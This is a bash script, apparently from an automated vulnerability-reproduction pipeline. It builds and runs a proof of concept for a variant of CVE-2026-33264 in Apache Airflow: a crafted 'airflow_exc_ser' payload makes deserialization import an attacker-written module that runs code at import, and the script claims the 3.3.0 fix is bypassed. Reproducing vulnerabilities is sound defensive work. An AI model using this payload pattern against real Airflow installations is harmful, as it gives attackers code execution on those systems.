#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
VARIANT_DIR="$ROOT/vuln_variant"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS"
mkdir -p "$REPRO_DIR"
mkdir -p "$VARIANT_DIR"
mkdir -p "$ARTIFACTS"

cd "$ROOT"

# Resolve project cache directory: prefer durable project cache if prepared.
CACHE_FILE="$ROOT/project_cache_context.json"
if [ -f "$CACHE_FILE" ]; then
    PROJECT_CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$CACHE_FILE" 2>/dev/null || true)
    PREPARED=$(jq -r '.prepared // false' "$CACHE_FILE" 2>/dev/null || true)
    if [ "$PREPARED" = "true" ] && [ -n "$PROJECT_CACHE_DIR" ] && [ -d "$PROJECT_CACHE_DIR/repo" ]; then
        REPO_DIR="$PROJECT_CACHE_DIR/repo"
    else
        REPO_DIR="$ARTIFACTS/airflow"
    fi
else
    REPO_DIR="$ARTIFACTS/airflow"
fi

VULN_VENV="$REPO_DIR/airflow_product_venv"
FIXED_VENV="$REPO_DIR/airflow_3.3.0_cve_2026_33264_venv"

PYTHON_VULN="$VULN_VENV/bin/python"
PYTHON_FIXED="$FIXED_VENV/bin/python"

HIT_CACHE="false"
[ -f "$CACHE_FILE" ] && [ "$PREPARED" = "true" ] && HIT_CACHE="true"

{
    echo "=== CVE-2026-33264 variant / bypass reproduction ==="
    echo "ROOT: $ROOT"
    echo "REPO_DIR: $REPO_DIR"
    echo "Cache prepared: $HIT_CACHE"
    echo "Vulnerable venv: $PYTHON_VULN"
    echo "Fixed venv: $PYTHON_FIXED"
} | tee "$LOGS/vuln_variant_reproduction.log"

# Ensure required interpreters exist.
if [ ! -x "$PYTHON_VULN" ]; then
    echo "ERROR: vulnerable venv python not found at $PYTHON_VULN" | tee -a "$LOGS/vuln_variant_reproduction.log"
    exit 2
fi
if [ ! -x "$PYTHON_FIXED" ]; then
    echo "ERROR: fixed venv python not found at $PYTHON_FIXED" | tee -a "$LOGS/vuln_variant_reproduction.log"
    exit 2
fi

# Record installed versions.
VULN_VERSION=$("$PYTHON_VULN" -c "import airflow; print(airflow.__version__)")
FIXED_VERSION=$("$PYTHON_FIXED" -c "import airflow; print(airflow.__version__)")
echo "Vulnerable Airflow version: $VULN_VERSION" | tee -a "$LOGS/vuln_variant_reproduction.log"
echo "Fixed Airflow version: $FIXED_VERSION" | tee -a "$LOGS/vuln_variant_reproduction.log"

# Write the Python harness.
HARNESS="$VARIANT_DIR/deserialize_harness_exc_ser.py"
cat > "$HARNESS" <<'PY'
import json
import os
import sys
import tempfile
import traceback

def main():
    if len(sys.argv) < 3:
        print("Usage: harness.py <label> <output.json>", file=sys.stderr)
        sys.exit(1)
    label = sys.argv[1]
    output = sys.argv[2]

    # Isolated AIRFLOW_HOME to avoid clobbering user state.
    airflow_home = tempfile.mkdtemp(prefix="airflow_home_")
    os.environ["AIRFLOW_HOME"] = airflow_home

    # Create a malicious exception module on the fly. Importing this module executes
    # module-level code controlled by the attacker (DAG author) and proves RCE in the
    # deserialization process.
    moddir = tempfile.mkdtemp(prefix="evil_exc_")
    marker = os.path.join(moddir, "PWNED")
    modpath = os.path.join(moddir, "evil_exc.py")
    with open(modpath, "w") as f:
        f.write("import os, sys\n")
        f.write(f"MARKER = {repr(marker)}\n")
        f.write("with open(MARKER, 'w') as fh: fh.write('owned')\n")
        f.write("print('MODULE-LEVEL-EXECUTED', file=sys.stderr)\n")
        f.write("class EvilException(Exception):\n")
        f.write("    def __init__(self, *args, **kwargs):\n")
        f.write("        pass\n")

    sys.path.insert(0, moddir)

    # Import Airflow inside the isolated env.
    from airflow import __version__ as airflow_version
    from airflow.serialization.enums import Encoding
    from airflow.serialization.serialized_objects import BaseSerialization

    # Crafted payload that mimics serialized DAG content containing an Airflow
    # serialized exception with an attacker-controlled class path. The fixed 3.3.0
    # release removed the DAT.BASE_TRIGGER branch but left the DAT.AIRFLOW_EXC_SER
    # branch in BaseSerialization.deserialize(), so this still reaches the same
    # import_string() sink and executes the attacker module.
    payload = {
        Encoding.TYPE: "airflow_exc_ser",
        Encoding.VAR: {
            Encoding.TYPE: "dict",
            Encoding.VAR: {
                "exc_cls_name": "evil_exc.EvilException",
                "args": [],
                "kwargs": {Encoding.TYPE: "dict", Encoding.VAR: {}},
            },
        },
    }

    if os.path.exists(marker):
        os.remove(marker)

    exception_type = None
    exception_message = None
    try:
        BaseSerialization.deserialize(payload)
    except Exception as exc:
        exception_type = type(exc).__name__
        exception_message = str(exc)
        traceback.print_exc()

    marker_exists = os.path.exists(marker)

    result = {
        "label": label,
        "airflow_version": airflow_version,
        "payload": repr(payload),
        "module_dir": moddir,
        "marker": marker,
        "marker_exists_after": marker_exists,
        "exception_type": exception_type,
        "exception_message": exception_message,
    }
    with open(output, "w") as f:
        json.dump(result, f, indent=2, default=str)

    print(f"[{label}] Airflow {airflow_version}")
    print(f"[{label}] marker_exists_after={marker_exists} exception={exception_type}")
    if exception_type:
        print(f"[{label}] {exception_type}: {exception_message}")

if __name__ == "__main__":
    main()
PY

# Run the vulnerable attempt.
echo "--- Running vulnerable attempt (airflow_exc_ser) ---" | tee -a "$LOGS/vuln_variant_reproduction.log"
VULN_OUT="$LOGS/vuln_variant_vulnerable_result.json"
if "$PYTHON_VULN" "$HARNESS" "vulnerable" "$VULN_OUT" >>"$LOGS/vuln_variant_reproduction.log" 2>&1; then
    VULN_EXIT=0
else
    VULN_EXIT=$?
fi
echo "Vulnerable attempt exit code: $VULN_EXIT" | tee -a "$LOGS/vuln_variant_reproduction.log"
[ -f "$VULN_OUT" ] && cat "$VULN_OUT" | tee -a "$LOGS/vuln_variant_reproduction.log" || true

# Run the fixed attempt.
echo "--- Running fixed attempt (airflow_exc_ser) ---" | tee -a "$LOGS/vuln_variant_reproduction.log"
FIXED_OUT="$LOGS/vuln_variant_fixed_result.json"
if "$PYTHON_FIXED" "$HARNESS" "fixed" "$FIXED_OUT" >>"$LOGS/vuln_variant_reproduction.log" 2>&1; then
    FIXED_EXIT=0
else
    FIXED_EXIT=$?
fi
echo "Fixed attempt exit code: $FIXED_EXIT" | tee -a "$LOGS/vuln_variant_reproduction.log"
[ -f "$FIXED_OUT" ] && cat "$FIXED_OUT" | tee -a "$LOGS/vuln_variant_reproduction.log" || true

# Evaluate the evidence.
VULN_MARKER=$(jq -r '.marker_exists_after // false' "$VULN_OUT" 2>/dev/null || echo "false")
VULN_EXCEPTION=$(jq -r '.exception_type // empty' "$VULN_OUT" 2>/dev/null || true)
FIXED_MARKER=$(jq -r '.marker_exists_after // false' "$FIXED_OUT" 2>/dev/null || echo "false")
FIXED_EXCEPTION=$(jq -r '.exception_type // empty' "$FIXED_OUT" 2>/dev/null || true)

CONFIRMED="false"
if [ "$VULN_MARKER" = "true" ] && [ "$FIXED_MARKER" = "true" ]; then
    CONFIRMED="true"
fi

{
    echo "=== Verdict evaluation ==="
    echo "Vulnerable marker created: $VULN_MARKER (exception=$VULN_EXCEPTION)"
    echo "Fixed marker created: $FIXED_MARKER (exception=$FIXED_EXCEPTION)"
    echo "Bypass confirmed: $CONFIRMED"
} | tee -a "$LOGS/vuln_variant_reproduction.log"

# Write runtime evidence manifest.
python3 - "$VARIANT_DIR/runtime_manifest.json" "$CONFIRMED" "$VULN_VERSION" "$FIXED_VERSION" "$VULN_OUT" "$FIXED_OUT" <<'PY'
import json, sys
out_path, confirmed, vuln_version, fixed_version, vuln_out, fixed_out = sys.argv[1:7]
confirmed = confirmed == "true"
manifest = {
    "entrypoint_kind": "function_call",
    "entrypoint_detail": "BaseSerialization.deserialize() on crafted airflow_exc_ser payload",
    "service_started": False,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["python", "apache-airflow", "airflow.serialization.serialized_objects.BaseSerialization"],
    "proof_artifacts": [
        "logs/vuln_variant_reproduction.log",
        "logs/vuln_variant_vulnerable_result.json",
        "logs/vuln_variant_fixed_result.json",
        "vuln_variant/deserialize_harness_exc_ser.py",
    ],
    "notes": f"Vulnerable Airflow {vuln_version} and fixed {fixed_version} both imported attacker-controlled module via airflow_exc_ser deserialization; the 3.3.0 fix only removed the base_trigger branch, leaving the exception branch unprotected."
}
with open(out_path, "w") as f:
    json.dump(manifest, f, indent=2)
PY

if [ "$CONFIRMED" = "true" ]; then
    echo "Bypass confirmed: fixed version remains vulnerable via airflow_exc_ser." | tee -a "$LOGS/vuln_variant_reproduction.log"
    exit 0
else
    echo "Bypass NOT confirmed; evidence mismatch." | tee -a "$LOGS/vuln_variant_reproduction.log"
    exit 1
fi